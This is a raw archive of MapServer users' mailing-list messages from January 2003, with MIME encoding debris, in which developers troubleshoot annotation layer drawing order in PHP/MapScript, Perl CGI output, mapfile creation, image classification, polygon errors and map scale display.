MapServer draws all layers in order in the mapfile from bottom = to top -=20 that is, each layer in turn is drawn on top of all preceding = layers.  Put=20 your annotation layer as the last layer in the file.
 
    - Ed

Ed McNierney
President and Chief = Mapmaker
TopoZone.com /=20 Maps a la carte, Inc.
73 Princeton Street, Suite 305
North = Chelmsford,=20 MA  01863
ed at topozone.com
(978) 251-4242 =

-----Original Message-----
From: Dan Barron=20 [mailto:dbarron at ddive.com]
Sent: Tuesday, January 21, 2003 = 11:49=20 AM
To: mapserver-users at lists.gis.umn.edu
Subject:=20 [Mapserver-users] How to Draw Annotation Layer=20 Last

Hello,

I have searched through the = archives=20 w/o much luck on determining what I am doing wrong. 

I am = using=20 MapServer v3.5 and am trying to draw an annotation layer so it is = always the=20 last layer to be drawn and shows on top of all other layers.  = Right now=20 it is always drawn under my other layers and is not seen.  I also = use=20 PHP/Mapscript to create the maps and have tried to force this layer to = be=20 drawn last, w/o success.  Can anyone clue me in on the method to = ensure=20 this layer is always draw last, either via the map file only or via=20 php/mapscript?  Below is the map file entry for the layer and the = php/mapscript snippet.

Thanks!


LAYER
 NAME=20 'credits'
 STATUS ON
 TRANSFORM false
 TYPE=20 annotation
 FEATURE
   POINTS 5 10 = END
  =20 TEXT '=A9 www.destinationdive.com' =20
 END
 CLASS
   = LABEL
    =20 TYPE truetype
     FONT=20 verdana
     SIZE 8
     = ANTIALIAS true
     COLOR 0 0 0=20
     POSITION UR
  =20 END
 END
END


// ~~~ DRAW Credits Layers=20 ~~~
$creditsLayer =3D $map->getLayerByName( 'credits'=20 );
$creditsLayer->set( 'status', MS_ON = );
$creditsLayer->draw(=20 $image );

// ~~~ DRAW the PNG files for map, scalebar, and = reference=20 map=20 = ~~~
$image_url_PNG=3D$image->saveWebImage(MS_PNG,1,1,0);

Dan Barron
Principal / Founder
Destination = Software=20 LLC - developers of Destination DIVE™
dbarron at ddive.com
http://www.destinationdive.com
(619)=20 275-5346

------_=_NextPart_001_01C2C16F.1CDC39A3-- From steve.lime at dnr.state.mn.us Tue Jan 21 09:50:21 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Tue, 21 Jan 2003 11:50:21 -0600 Subject: [Mapserver-users] using CGI methods Message-ID: What does the output from each look like? >>> Agneta Schick 01/21/03 10:25AM >>> Hello, When generating html code in my perl script, I found a difference between using methods in CGI.pm and print statements. In the one case (print statements) the mapping extents change with pan and in the other they remain unchanged. Can somebody explain this? Here is the part of the perl script which makes the difference: ======================================================== # ----------normal print statements with 'use CGI(:standard);'------------- #print header(); #print start_html(-title=>'MapServer - Earthquake Mapper', -bgcolor=>"#ffffff"); #print "
"; #print ""; #print "{extent}->{minx},$map->{extent}->{miny},$map->{extent}->{maxx},$map->{exte nt}->{maxy}) ."\">"; #print "
"; #print end_html(); # -----here the same statements with 'use CGI;' --------- print $query->header( "text/html" ); print $query->start_html(-title=>'MapServer - Earthquake Mapper', -bgcolor=>"#ffffff"); print $query->startform(-name=>"quakes", -method=>GET, -action=>"/cgi-bin/maptest.pl"); print $query->image_button(-name=>'img', -src=>$image_virtual_path . $image_id, -border=>0 ); print $query->hidden( -name=>"imgext", -default=>join(' ', $map->{extent}->{minx},$map->{extent}->{miny},$map->{extent}->{maxx},$map->{exte nt}->{maxy}) ); print $query->end_form; print $query->end_html; =============================================================== In both cases the html code is identical so what makes the difference? Have I made a mistake or does this mean never use CGI methods in combination with Mapscript? I'm using Mapserver 3.6, Perl 5.6.1 on Sun Solaris8 with Apache server. Thanks for any hints. Agneta Schick ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Agneta Schick Bundesanstalt fuer Geowissenschaften und Rohstoffe Federal Institute for Geosciences and Natural Resources Stilleweg 2 D- 30655 Hannover Tel.: +49 511 643 3136 GERMANY FAX.: +49 511 643 3663 schick at sdac.hannover.bgr.de http://www.seismologie.bgr.de ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From rodrigo at chupelupe.com.ar Tue Jan 21 10:05:21 2003 From: rodrigo at chupelupe.com.ar (rodrigo at chupelupe.com.ar) Date: Tue, 21 Jan 2003 15:05:21 -0300 Subject: [Mapserver-users] Create .map from GIS Message-ID: <20030121180521.620.qmail@mail.chupelupe.com.ar> Hello, I'm new with mapserver. I have some GIS information from my city, Buenos Aires (Argentina) and want to use it. My problem is that i don't know how to create the .map file. There is any app that do this for my? How i do know which file from the GIS i must to use in the .map file? Thanks and sorry about my bad english. Rodrigo From pkishor at geoanalytics.com Tue Jan 21 10:13:43 2003 From: pkishor at geoanalytics.com (pkishor_98 ) Date: Tue, 21 Jan 2003 18:13:43 -0000 Subject: [Mapserver-users] Re: Create .map from GIS In-Reply-To: <20030121180521.620.qmail@mail.chupelupe.com.ar> Message-ID: --- In mapserver-users at yahoogroups.com, rodrigo at c... wrote: > I'm new with mapserver. I have some GIS information > from my city, Buenos Aires (Argentina) and want to use it. > My problem is that i don't know how to create the .map file. Look at the example map file from the Itasca demo. Read the documentation at http://mapserver.gis.umn.edu/doc36/mapfile-reference.html and the notes on the wiki at http://mapserver.gis.umn.edu/cgi-bin/wiki.pl > There is any app that do this for my? any plain text editor will do. > How i do know > which file from the GIS i must to use in the .map file? > any file that you want to display on your map will go in the .map file. From sctweedy at NRCan.gc.ca Tue Jan 21 10:16:25 2003 From: sctweedy at NRCan.gc.ca (Tweedy, Scott) Date: Tue, 21 Jan 2003 13:16:25 -0500 Subject: [Mapserver-users] Classifying Part of an image Message-ID: <5ACEEE96F4F9D41190790002A528B51E03367820@s0-ott-x11.nrn.nrcan.gc.ca> Is it possible to classify part of an image? I have an ECW image for an area and I want to classify a certain area of pixels. Whenever I define the classes the area that I've classified displays properly, however the rest of the image is not displayed at all. Is there a way to show the classified pixels with the classified colour and have the rest of the image remained unchanged? Scott Tweedy Project Leader / chef de projet Emergency Mapping Planning / Planification de la cartographie d'urgence sctweedy at NRCan.gc.ca (613) 992-3320, fax / t?l?copieur (613) 992-3904 Natural Resources Canada / Ressources naturelles Canada 615 Booth Street / 615 rue Booth Ottawa, Ontario / Ottawa (Ontario) K1E 0E9 Government of Canada / Gouvernement du Canada From wzhang at c-cor.net Tue Jan 21 10:14:38 2003 From: wzhang at c-cor.net (Zhang, William) Date: Tue, 21 Jan 2003 13:14:38 -0500 Subject: [Mapserver-users] Odd Error Message-ID: <68107A9AF023EA439FF7CC2AD02D8FE503A58D@pltnpo1.c-cor.com> I experienced reversed error. I got a polygon from tiger data, which shows urban area of Alameda, CA. When I zoomed out, the polygon showed. But when I zoomed into certain level, the polygon disappeared. Any explanation on this? Thanks, -----Original Message----- From: Jeff Berry [mailto:jeffb at erlandsen.com] Sent: Monday, January 20, 2003 3:11 PM To: MapServer Subject: [Mapserver-users] Odd Error I have a lakes polygon layer that draws just fine at large scales. However, if I zoom out to the entire extent of the dataset I get the following error: Warning: MapServer Error in msDrawShape(): Only polygon shapes can be drawn using a POLYGON layer definition. This happens with a couple other polygon layers as well, when I zoom out to a point where a lot of polygon features are displayed in the current extent. What is causing this? Jeff Berry Erlandsen & Associates P.O. Box 2029 Chelan, WA 98816 (509) 682-4189 jeffb at erlandsen.com _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From ed at topozone.com Tue Jan 21 10:29:41 2003 From: ed at topozone.com (Ed McNierney) Date: Tue, 21 Jan 2003 13:29:41 -0500 Subject: [Mapserver-users] How to Draw Annotation Layer Last Message-ID: <13858AA1A74F30419F319ACB66A9D1221F3B87@mercator.topozone.com> This is a multi-part message in MIME format. ------_=_NextPart_001_01C2C17B.1052EC5D Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Dan - =20 That seems very odd. Can you try making the layer TYPE POINT and see if = that changes anything (just a stab in the dark)?=20 =20 - Ed -----Original Message----- From: Dan Barron [mailto:dbarron at ddive.com] Sent: Tuesday, January 21, 2003 1:23 PM To: Ed McNierney; mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] How to Draw Annotation Layer Last Ed, Thanks for the reply. I have and had tried moving the layer definition = to the beginning and the end of the map file with the same results. I = had figured it to be more php/mapscript related issue, though when I = draw the layer last in php/mapscript I also have the same result - the = annotation layer is drawn under the other layers. Any other ideas? Thanks, Dan At 12:04 PM 1/21/2003 -0500, Ed McNierney wrote: Dan - =20 MapServer draws all layers in order in the mapfile from bottom to top - = that is, each layer in turn is drawn on top of all preceding layers. = Put your annotation layer as the last layer in the file. =20 - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242=20 -----Original Message----- From: Dan Barron [ mailto:dbarron at ddive.com] Sent: Tuesday, January 21, 2003 11:49 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] How to Draw Annotation Layer Last Hello, I have searched through the archives w/o much luck on determining what I = am doing wrong. =20 I am using MapServer v3.5 and am trying to draw an annotation layer so = it is always the last layer to be drawn and shows on top of all other = layers. Right now it is always drawn under my other layers and is not = seen. I also use PHP/Mapscript to create the maps and have tried to = force this layer to be drawn last, w/o success. Can anyone clue me in = on the method to ensure this layer is always draw last, either via the = map file only or via php/mapscript? Below is the map file entry for the = layer and the php/mapscript snippet. Thanks! LAYER NAME 'credits' STATUS ON TRANSFORM false TYPE annotation FEATURE POINTS 5 10 END TEXT '=A9 www.destinationdive.com' =20 END CLASS LABEL TYPE truetype FONT verdana SIZE 8 ANTIALIAS true COLOR 0 0 0=20 POSITION UR END END END // ~~~ DRAW Credits Layers ~~~ $creditsLayer =3D $map->getLayerByName( 'credits' ); $creditsLayer->set( 'status', MS_ON ); $creditsLayer->draw( $image ); // ~~~ DRAW the PNG files for map, scalebar, and reference map ~~~ $image_url_PNG=3D$image->saveWebImage(MS_PNG,1,1,0); Dan Barron Principal / Founder Destination Software LLC - developers of Destination DIVE" dbarron at ddive.com http:// = www.destinationdive.com (619) 275-5346 ------_=_NextPart_001_01C2C17B.1052EC5D Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Dan=20 -
 
That=20 seems very odd.  Can you try making the layer TYPE POINT and see if = that=20 changes anything (just a stab in the dark)? 
 
    - Ed
-----Original Message-----
From: Dan Barron=20 [mailto:dbarron at ddive.com]
Sent: Tuesday, January 21, 2003 = 1:23=20 PM
To: Ed McNierney;=20 mapserver-users at lists.gis.umn.edu
Subject: RE: = [Mapserver-users] How=20 to Draw Annotation Layer Last

Ed,

Thanks = for the=20 reply.  I have and had tried moving the layer definition to the = beginning=20 and the end of the map file with the same results.  I had figured = it to=20 be more php/mapscript related issue, though when I draw the layer last = in=20 php/mapscript I also have the same result - the annotation layer is = drawn=20 under the other layers.  Any other=20 ideas?

Thanks,

Dan

At 12:04 PM 1/21/2003 -0500, = Ed=20 McNierney wrote:
Dan -
 
MapServer draws all layers in order in the mapfile from = bottom to top=20 - that is, each layer in turn is drawn on top of all preceding = layers. =20 Put your annotation layer as the last layer in the=20 file.
 
    - Ed

Ed McNierney
President = and Chief=20 Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton = Street,=20 Suite 305
North Chelmsford, MA  = 01863
ed at topozone.com
(978)=20 251-4242
-----Original Message-----
From: Dan Barron [mailto:dbarron at ddive.com]
Sent: Tuesday, January 21, 2003 11:49 AM
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] How to Draw Annotation Layer=20 Last

Hello,

I have searched through the archives w/o much luck on = determining what=20 I am doing wrong. 

I am using MapServer v3.5 and am trying to draw an annotation = layer so=20 it is always the last layer to be drawn and shows on top of all = other=20 layers.  Right now it is always drawn under my other layers = and is=20 not seen.  I also use PHP/Mapscript to create the maps and = have tried=20 to force this layer to be drawn last, w/o success.  Can = anyone clue=20 me in on the method to ensure this layer is always draw last, = either via=20 the map file only or via php/mapscript?  Below is the map = file entry=20 for the layer and the php/mapscript snippet.

Thanks!


LAYER
 NAME 'credits'
 STATUS ON
 TRANSFORM false
 TYPE annotation
 FEATURE
   POINTS 5 10 END
   TEXT '=A9 www.destinationdive.com'
 END
 CLASS
   LABEL
     TYPE truetype
     FONT verdana
     SIZE 8
     ANTIALIAS true
     COLOR 0 0 0
     POSITION UR
   END
 END
END


// ~~~ DRAW Credits Layers ~~~
$creditsLayer =3D $map->getLayerByName( 'credits' );
$creditsLayer->set( 'status', MS_ON );
$creditsLayer->draw( $image );

// ~~~ DRAW the PNG files for map, scalebar, and reference map = ~~~
=
$image_url_PNG=3D$image->saveWebImage(MS_PNG,1,1,0);


Dan Barron
Principal / Founder
Destination Software LLC - developers of Destination = DIVE"
dbarron at ddive.com
http://www.destinationdive.com
(619) = 275-5346
------_=_NextPart_001_01C2C17B.1052EC5D-- From wzhang at c-cor.net Tue Jan 21 10:17:21 2003 From: wzhang at c-cor.net (Zhang, William) Date: Tue, 21 Jan 2003 13:17:21 -0500 Subject: [Mapserver-users] Odd Error Message-ID: <68107A9AF023EA439FF7CC2AD02D8FE503A58E@pltnpo1.c-cor.com> I experienced reversed error. I got a polygon from tiger data, which shows urban area of Alameda, CA. When I zoomed out, the polygon showed. But when I zoomed into certain level, the polygon disappeared. Any explanation on this? Thanks, William Zhang Software Engineer C-Cor.net Phone: (925) 251-3019 Fax: (925) 467-0600 E-Mail: wzhang at c-cor.net -----Original Message----- From: Jeff Berry [mailto:jeffb at erlandsen.com] Sent: Monday, January 20, 2003 3:11 PM To: MapServer Subject: [Mapserver-users] Odd Error I have a lakes polygon layer that draws just fine at large scales. However, if I zoom out to the entire extent of the dataset I get the following error: Warning: MapServer Error in msDrawShape(): Only polygon shapes can be drawn using a POLYGON layer definition. This happens with a couple other polygon layers as well, when I zoom out to a point where a lot of polygon features are displayed in the current extent. What is causing this? Jeff Berry Erlandsen & Associates P.O. Box 2029 Chelan, WA 98816 (509) 682-4189 jeffb at erlandsen.com _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From Chip.Hankley at GASAI.Com Tue Jan 21 10:47:46 2003 From: Chip.Hankley at GASAI.Com (Hankley, Chip) Date: Tue, 21 Jan 2003 12:47:46 -0600 Subject: [Mapserver-users] How to Draw Annotation Layer Last Message-ID: <3DFF131E4E6D2D4198CDD758F35A5353027852EC@postoffice.GASAI.Com> Dan, try using 'drawLabelCache' from MapScript right before you render your final image: $img = $map->draw(); $map->drawLabelCache($img); $url = $img->saveWebImage(MS_PNG, $map->transparent, $map->interlace, 50); Chip Hankley -----Original Message----- From: Ed McNierney [mailto:ed at topozone.com] Sent: Tuesday, January 21, 2003 12:30 PM To: Dan Barron; mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] How to Draw Annotation Layer Last Dan - That seems very odd. Can you try making the layer TYPE POINT and see if that changes anything (just a stab in the dark)? - Ed -----Original Message----- From: Dan Barron [mailto:dbarron at ddive.com] Sent: Tuesday, January 21, 2003 1:23 PM To: Ed McNierney; mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] How to Draw Annotation Layer Last Ed, Thanks for the reply. I have and had tried moving the layer definition to the beginning and the end of the map file with the same results. I had figured it to be more php/mapscript related issue, though when I draw the layer last in php/mapscript I also have the same result - the annotation layer is drawn under the other layers. Any other ideas? Thanks, Dan At 12:04 PM 1/21/2003 -0500, Ed McNierney wrote: Dan - MapServer draws all layers in order in the mapfile from bottom to top - that is, each layer in turn is drawn on top of all preceding layers. Put your annotation layer as the last layer in the file. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 -----Original Message----- From: Dan Barron [mailto:dbarron at ddive.com] Sent: Tuesday, January 21, 2003 11:49 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] How to Draw Annotation Layer Last Hello, I have searched through the archives w/o much luck on determining what I am doing wrong. I am using MapServer v3.5 and am trying to draw an annotation layer so it is always the last layer to be drawn and shows on top of all other layers. Right now it is always drawn under my other layers and is not seen. I also use PHP/Mapscript to create the maps and have tried to force this layer to be drawn last, w/o success. Can anyone clue me in on the method to ensure this layer is always draw last, either via the map file only or via php/mapscript? Below is the map file entry for the layer and the php/mapscript snippet. Thanks! LAYER NAME 'credits' STATUS ON TRANSFORM false TYPE annotation FEATURE POINTS 5 10 END TEXT '? www.destinationdive.com' END CLASS LABEL TYPE truetype FONT verdana SIZE 8 ANTIALIAS true COLOR 0 0 0 POSITION UR END END END // ~~~ DRAW Credits Layers ~~~ $creditsLayer = $map->getLayerByName( 'credits' ); $creditsLayer->set( 'status', MS_ON ); $creditsLayer->draw( $image ); // ~~~ DRAW the PNG files for map, scalebar, and reference map ~~~ $image_url_PNG=$image->saveWebImage(MS_PNG,1,1,0); Dan Barron Principal / Founder Destination Software LLC - developers of Destination DIVE" dbarron at ddive.com http://www.destinationdive.com (619) 275-5346 From Chip.Hankley at GASAI.Com Tue Jan 21 10:53:52 2003 From: Chip.Hankley at GASAI.Com (Hankley, Chip) Date: Tue, 21 Jan 2003 12:53:52 -0600 Subject: [Mapserver-users] Odd Error Message-ID: <3DFF131E4E6D2D4198CDD758F35A5353027852EE@postoffice.GASAI.Com> I've experienced this with some datasets before... you most likely have some bad shapes in the dataset. There is a 'clean' utility that ships with the new version of ArcGIS, if you have access to that. It is under "\arcgis\arcexe82\ArcObjects Developer Kit\Samples\Utilities\CleanShapefile\CleanShapefile.exe" Chip Hankley -----Original Message----- From: Jeff Berry [mailto:jeffb at erlandsen.com] Sent: Monday, January 20, 2003 3:11 PM To: MapServer Subject: [Mapserver-users] Odd Error I have a lakes polygon layer that draws just fine at large scales. However, if I zoom out to the entire extent of the dataset I get the following error: Warning: MapServer Error in msDrawShape(): Only polygon shapes can be drawn using a POLYGON layer definition. This happens with a couple other polygon layers as well, when I zoom out to a point where a lot of polygon features are displayed in the current extent. What is causing this? From dbarron at ddive.com Tue Jan 21 10:22:31 2003 From: dbarron at ddive.com (Dan Barron) Date: Tue, 21 Jan 2003 10:22:31 -0800 Subject: [Mapserver-users] How to Draw Annotation Layer Last In-Reply-To: <13858AA1A74F30419F319ACB66A9D1221F3B85@mercator.topozone.c om> Message-ID: <5.2.0.9.0.20030121101744.034b1008@192.168.11.30> --=====================_923578==.ALT Content-Type: text/plain; charset="iso-8859-1"; format=flowed Content-Transfer-Encoding: quoted-printable Ed, Thanks for the reply. I have and had tried moving the layer definition to= =20 the beginning and the end of the map file with the same results. I had=20 figured it to be more php/mapscript related issue, though when I draw the=20 layer last in php/mapscript I also have the same result - the annotation=20 layer is drawn under the other layers. Any other ideas? Thanks, Dan At 12:04 PM 1/21/2003 -0500, Ed McNierney wrote: >Dan - > >MapServer draws all layers in order in the mapfile from bottom to top -=20 >that is, each layer in turn is drawn on top of all preceding layers. Put= =20 >your annotation layer as the last layer in the file. > > - Ed > >Ed McNierney >President and Chief Mapmaker >TopoZone.com / Maps a la carte, Inc. >73 Princeton Street, Suite 305 >North Chelmsford, MA 01863 >ed at topozone.com >(978) 251-4242 >-----Original Message----- >From: Dan Barron [mailto:dbarron at ddive.com] >Sent: Tuesday, January 21, 2003 11:49 AM >To: mapserver-users at lists.gis.umn.edu >Subject: [Mapserver-users] How to Draw Annotation Layer Last > >Hello, > >I have searched through the archives w/o much luck on determining what I=20 >am doing wrong. > >I am using MapServer v3.5 and am trying to draw an annotation layer so it= =20 >is always the last layer to be drawn and shows on top of all other=20 >layers. Right now it is always drawn under my other layers and is not=20 >seen. I also use PHP/Mapscript to create the maps and have tried to force= =20 >this layer to be drawn last, w/o success. Can anyone clue me in on the=20 >method to ensure this layer is always draw last, either via the map file=20 >only or via php/mapscript? Below is the map file entry for the layer and= =20 >the php/mapscript snippet. > >Thanks! > > >LAYER > NAME 'credits' > STATUS ON > TRANSFORM false > TYPE annotation > FEATURE > POINTS 5 10 END > TEXT '=A9 www.destinationdive.com' > END > CLASS > LABEL > TYPE truetype > FONT verdana > SIZE 8 > ANTIALIAS true > COLOR 0 0 0 > POSITION UR > END > END >END > > >// ~~~ DRAW Credits Layers ~~~ >$creditsLayer =3D $map->getLayerByName( 'credits' ); >$creditsLayer->set( 'status', MS_ON ); >$creditsLayer->draw( $image ); > >// ~~~ DRAW the PNG files for map, scalebar, and reference map ~~~ >$image_url_PNG=3D$image->saveWebImage(MS_PNG,1,1,0); > > >Dan Barron >Principal / Founder >Destination Software LLC - developers of Destination DIVE" >dbarron at ddive.com >http://www.destinationdive.com >(619) 275-5346 --=====================_923578==.ALT Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Ed,

Thanks for the reply.  I have and had tried moving the layer definition to the beginning and the end of the map file with the same results.  I had figured it to be more php/mapscript related issue, though when I draw the layer last in php/mapscript I also have the same result - the annotation layer is drawn under the other layers.  Any other ideas?

Thanks,

Dan

At 12:04 PM 1/21/2003 -0500, Ed McNierney wrote:
Dan -
 
MapServer draws all layers i= n order in the mapfile from bottom to top - that is, each layer in turn is drawn on top of all preceding layers.  Put your annotation layer as the last layer in the file.
 
    - Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242
-----Original Message-----
From: Dan Barron [mailto:dbarron at ddive.com]
Sent: Tuesday, January 21, 2003 11:49 AM
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] How to Draw Annotation Layer Last

Hello,

I have searched through the archives w/o much luck on determining what I am doing wrong. 

I am using MapServer v3.5 and am trying to draw an annotation layer so it is always the last layer to be drawn and shows on top of all other layers.  Right now it is always drawn under my other layers and is not seen.  I also use PHP/Mapscript to create the maps and have tried to force this layer to be drawn last, w/o success.  Can anyone clue me in on the method to ensure this layer is always draw last, either via the map file only or via php/mapscript?  Below is the map file entry for the layer and the php/mapscript snippet.

Thanks!


LAYER
 NAME 'credits'
 STATUS ON
 TRANSFORM false
 TYPE annotation
 FEATURE
   POINTS 5 10 END
   TEXT '=A9 www.desti= nationdive.com'
 END
 CLASS
   LABEL
     TYPE truetype
     FONT verdana
     SIZE 8
     ANTIALIAS true
     COLOR 0 0 0
     POSITION UR
   END
 END
END


// ~~~ DRAW Credits Layers ~~~
$creditsLayer =3D $map->getLayerByName( 'credits' );
$creditsLayer->set( 'status', MS_ON );
$creditsLayer->draw( $image );

// ~~~ DRAW the PNG files for map, scalebar, and reference map ~~~
$image_url_PNG=3D$image->saveWebImage(MS_PNG,1,1,0);


Dan Barron
Principal / Founder
Destination Software LLC - developers of Destination DIVE"
dbarron at ddive.com
http://www.destinationdive.com
(619) 275-5346
--=====================_923578==.ALT-- From tbartlett at dddd.com.au Tue Jan 21 14:08:03 2003 From: tbartlett at dddd.com.au (Thomas Bartlett) Date: Wed, 22 Jan 2003 09:08:03 +1100 Subject: [Mapserver-users] scale Message-ID: <005101c2c199$91b1a250$1701a8c0@dddd.com.au> This is a multi-part message in MIME format. ------=_NextPart_000_004E_01C2C1F5.C50C9680 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable G'Day all, Trying to work out how to include the scale (eg 1:25,000) [not a = scalebar] of a map. Is there any obvious way to do this in MapServer, = like you can get a scalebar ?? This issue I have is I know the distance = on the map but how do I determine the distance on the screen... a pixel is not a standard measurement, it is dependent upon the screen = resolution. =20 Any suggestions !! =20 Thomas Bartlett -------------------------------------------------------------------------= --------------------------------- GIS Technician Digital (Digest) Data Design Pty Ltd=20 Military GIS Professionals and Consultants=20 http://www.dddd.com.au/=20 Telephone: 02 6286 9555=20 Facsimile: 02 6286 9888=20 Postal : PO Box 683 MAWSON ACT 2607 ------=_NextPart_000_004E_01C2C1F5.C50C9680 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
G'Day all,
 
Trying to work out how to include the scale (eg = 1:25,000) [not=20 a scalebar] of a map.  Is there any obvious way to do this in=20 MapServer, like you can get a scalebar ??  This issue I have is I = know the=20 distance on the map but how do I determine the distance on the=20 screen...
 
a pixel is not a standard measurement, it is = dependent upon=20 the screen resolution.  
 
Any suggestions !!
 
Thomas=20 Bartlett
-------------------------------------------------------------= ---------------------------------------------
GIS=20 Technician
Digital (Digest) Data Design Pty Ltd
Military GIS=20 Professionals and Consultants
http://www.dddd.com.au/ =
Telephone: 02=20 6286 9555
Facsimile: 02 6286 9888
Postal : PO Box 683 = MAWSON =20 ACT  2607
------=_NextPart_000_004E_01C2C1F5.C50C9680-- From Chip.Hankley at GASAI.Com Tue Jan 21 14:31:41 2003 From: Chip.Hankley at GASAI.Com (Hankley, Chip) Date: Tue, 21 Jan 2003 16:31:41 -0600 Subject: [Mapserver-users] scale Message-ID: <3DFF131E4E6D2D4198CDD758F35A5353027852F1@postoffice.GASAI.Com> Thomas... this is a subject that comes up pretty frequently on the list... so if you want an exhaustive explanation, check out the archives. The short answer is [scale] (in CGI, I believe) or $map->scale in MapScript. Cheers! Chip Hankley -----Original Message----- From: Thomas Bartlett [mailto:tbartlett at dddd.com.au] Sent: Tuesday, January 21, 2003 4:08 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] scale G'Day all, Trying to work out how to include the scale (eg 1:25,000) [not a scalebar] of a map. Is there any obvious way to do this in MapServer, like you can get a scalebar ?? This issue I have is I know the distance on the map but how do I determine the distance on the screen... a pixel is not a standard measurement, it is dependent upon the screen resolution. Any suggestions !! Thomas Bartlett ---------------------------------------------------------------------------- ------------------------------ GIS Technician Digital (Digest) Data Design Pty Ltd Military GIS Professionals and Consultants http://www.dddd.com.au/ Telephone: 02 6286 9555 Facsimile: 02 6286 9888 Postal : PO Box 683 MAWSON ACT 2607 From dbarron at ddive.com Tue Jan 21 12:07:56 2003 From: dbarron at ddive.com (Dan Barron) Date: Tue, 21 Jan 2003 12:07:56 -0800 Subject: [Mapserver-users] How to Draw Annotation Layer Last In-Reply-To: <3DFF131E4E6D2D4198CDD758F35A5353027852EC@postoffice.GASAI. Com> Message-ID: <5.2.0.9.0.20030121111805.0352e620@192.168.11.30> --=====================_7244625==.ALT Content-Type: text/plain; charset="iso-8859-1"; format=flowed Content-Transfer-Encoding: quoted-printable Thanks Ed & Chip, I tried to set the layer to type point and the problem persists. When I try to use the 'drawLabelCache()' method I get the following error=20 at the line of the php/mapscript file making the method call - Fatal error: MapServer Error in msGetBitmapFont(): Invalid bitmap font. Must be one of tiny, small, medium, large or giant. Currently I have the annotation layer as the last layer entry in the map=20 file - and it is still being drawn over by the other layers. Could it be=20 how I am defining my other layers? Here is an example: LAYER NAME 'states' TYPE POLYGON STATUS ON DATA 'north_america/usa/statesp020' MAXSCALE 26000000 MINSCALE 1 GROUP 'north_america' CLASS NAME 'states' OUTLINECOLOR 204 204 204 COLOR 255 255 204 LABEL COLOR 0 0 0 SIZE SMALL END END END Am I possibly running into a v3.5 issue? Dan At 12:47 PM 1/21/2003 -0600, Hankley, Chip wrote: Dan, try using 'drawLabelCache' from MapScript right before you render your final image: $img =3D $map->draw(); $map->drawLabelCache($img); $url =3D $img->saveWebImage(MS_PNG, $map->transparent, $map->interlace,= 50); Chip Hankley -----Original Message----- From: Ed McNierney [mailto:ed at topozone.com] Sent: Tuesday, January 21, 2003 12:30 PM To: Dan Barron; mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] How to Draw Annotation Layer Last Dan - That seems very odd. Can you try making the layer TYPE POINT and see if that changes anything (just a stab in the dark)? - Ed -----Original Message----- From: Dan Barron [mailto:dbarron at ddive.com] Sent: Tuesday, January 21, 2003 1:23 PM To: Ed McNierney; mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] How to Draw Annotation Layer Last Ed, Thanks for the reply. I have and had tried moving the layer definition to the beginning and the end of the map file with the same results. I had figured it to be more php/mapscript related issue, though when I draw the layer last in php/mapscript I also have the same result - the annotation layer is drawn under the other layers. Any other ideas? Thanks, Dan At 12:04 PM 1/21/2003 -0500, Ed McNierney wrote: Dan - MapServer draws all layers in order in the mapfile from bottom to top - that is, each layer in turn is drawn on top of all preceding layers. Put your annotation layer as the last layer in the file. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 -----Original Message----- From: Dan Barron [mailto:dbarron at ddive.com] Sent: Tuesday, January 21, 2003 11:49 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] How to Draw Annotation Layer Last Hello, I have searched through the archives w/o much luck on determining what I am doing wrong. I am using MapServer v3.5 and am trying to draw an annotation layer so it is always the last layer to be drawn and shows on top of all other layers. Right now it is always drawn under my other layers and is not seen. I also use PHP/Mapscript to create the maps and have tried to force this layer to be drawn last, w/o success. Can anyone clue me in on the method to ensure this layer is always draw last, either via the map file only or via php/mapscript? Below is the map file entry for the layer and the php/mapscript snippet. Thanks! LAYER NAME 'credits' STATUS ON TRANSFORM false TYPE annotation FEATURE POINTS 5 10 END TEXT '=A9 www.destinationdive.com' END CLASS LABEL TYPE truetype FONT verdana SIZE 8 ANTIALIAS true COLOR 0 0 0 POSITION UR END END END // ~~~ DRAW Credits Layers ~~~ $creditsLayer =3D $map->getLayerByName( 'credits' ); $creditsLayer->set( 'status', MS_ON ); $creditsLayer->draw( $image ); // 